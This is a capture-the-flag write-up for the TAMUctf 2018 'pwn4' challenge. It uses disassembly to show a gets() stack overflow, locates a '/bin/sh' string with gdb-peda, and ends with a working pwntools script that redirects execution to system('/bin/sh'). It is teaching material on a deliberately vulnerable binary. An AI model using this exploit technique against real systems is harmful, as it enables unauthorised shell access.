Huh, everybody here is writting about return to libc, I got away without (although it may have not been simpler).
We are given a binary with noexec stack and a buffer overflow (`gets`). `main` just runs `reduced_shell`, which in turn recognizes four commands - `ls`, `cal`, `pwd` and `whiami`. Some part of it:
```080485ef <reduced_shell>: 80485ef:	55                   	push   ebp 80485f0:	89 e5                	mov    ebp,esp 80485f2:	83 ec 28             	sub    esp,0x28 80485f5:	83 ec 0c             	sub    esp,0xc 80485f8:	68 42 88 04 08       	push   0x8048842 80485fd:	e8 1e fe ff ff       	call   8048420 <puts@plt> 8048602:	83 c4 10             	add    esp,0x10 8048605:	83 ec 0c             	sub    esp,0xc 8048608:	68 5e 88 04 08       	push   0x804885e 804860d:	e8 0e fe ff ff       	call   8048420 <puts@plt> 8048612:	83 c4 10             	add    esp,0x10 8048615:	83 ec 0c             	sub    esp,0xc 8048618:	68 70 88 04 08       	push   0x8048870 804861d:	e8 fe fd ff ff       	call   8048420 <puts@plt> 8048622:	83 c4 10             	add    esp,0x10 8048625:	83 ec 0c             	sub    esp,0xc 8048628:	68 96 88 04 08       	push   0x8048896 804862d:	e8 ce fd ff ff       	call   8048400 <printf@plt> 8048632:	83 c4 10             	add    esp,0x10 8048635:	83 ec 0c             	sub    esp,0xc 8048638:	8d 45 e4             	lea    eax,[ebp-0x1c] 804863b:	50                   	push   eax 804863c:	e8 cf fd ff ff       	call   8048410 <gets@plt> 8048641:	83 c4 10             	add    esp,0x10 8048644:	83 ec 08             	sub    esp,0x8 8048647:	68 30 88 04 08       	push   0x8048830 804864c:	8d 45 e4             	lea    eax,[ebp-0x1c] 804864f:	50                   	push   eax```
Look at this line:
```lea    eax,[ebp-0x1c]```
This means, that we need to write `0x1c + 4` bytes (4 for the stack frame), then overwrite return address of `reduced_shell`. Let's take a look at `ls` function:
```0804858b <ls>: 804858b:	55                   	push   ebp 804858c:	89 e5                	mov    ebp,esp 804858e:	83 ec 08             	sub    esp,0x8 8048591:	83 ec 0c             	sub    esp,0xc 8048594:	68 30 88 04 08       	push   0x8048830 8048599:	e8 92 fe ff ff       	call   8048430 <system@plt> 804859e:	83 c4 10             	add    esp,0x10 80485a1:	90                   	nop 80485a2:	c9                   	leave   80485a3:	c3                   	ret    ```
If we could create a string containing `/bin/sh`, push its address on stack and then jump to `0x8048599`, we'd get a shell. Since `ebp` is variable, we can't write this string to buffer. Somehow, after running strings on the binary, we find a `/bin/sh` string, how cute. Now we need to get the address: ```$ gdb-peda ./pwn4Reading symbols from ./pwn4...(no debugging symbols found)...done.gdb-peda$ b mainBreakpoint 1 at 0x8048791gdb-peda$ rgdb-peda$ info proc mapprocess 6409Mapped address spaces:
	Start Addr   End Addr       Size     Offset objfile	 0x8048000  0x8049000     0x1000        0x0 /home/enedil/tamuctf2018/pwn4	 0x8049000  0x804a000     0x1000        0x0 /home/enedil/tamuctf2018/pwn4	 0x804a000  0x804b000     0x1000     0x1000 /home/enedil/tamuctf2018/pwn4	0xf7ddb000 0xf7f94000   0x1b9000        0x0 /usr/lib/libc-2.26.so	0xf7f94000 0xf7f95000     0x1000   0x1b9000 /usr/lib/libc-2.26.so	0xf7f95000 0xf7f97000     0x2000   0x1b9000 /usr/lib/libc-2.26.so	0xf7f97000 0xf7f98000     0x1000   0x1bb000 /usr/lib/libc-2.26.so	0xf7f98000 0xf7f9d000     0x5000        0x0 	0xf7fcf000 0xf7fd2000     0x3000        0x0 [vvar]	0xf7fd2000 0xf7fd4000     0x2000        0x0 [vdso]	0xf7fd4000 0xf7ffc000    0x28000        0x0 /usr/lib/ld-2.26.so	0xf7ffc000 0xf7ffd000     0x1000    0x27000 /usr/lib/ld-2.26.so	0xf7ffd000 0xf7ffe000     0x1000    0x28000 /usr/lib/ld-2.26.so	0xfffdd000 0xffffe000    0x21000        0x0 [stack]gdb-peda$ find "/bin/sh" 0x8048000 0x804b000Searching for '/bin/sh' in range: 0x8048000 - 0x804b000Found 1 results, display max 1 items:pwn4 : 0x804a038 ("/bin/sh")```
Here it is! 	Final exploit: ```#!/usr/bin/env python3import pwn
p = pwn.process('./pwn4')
buffer_len = 0x1c + 4ls_addr = 0x8048599bin_sh_addr = 0x804a038
p.send(b'a' * buffer_len)p.send(ls_addr.to_bytes(4, 'little'))p.send(bin_sh_addr.to_bytes(4, 'little'))p.send(b'\n')p.interactive()```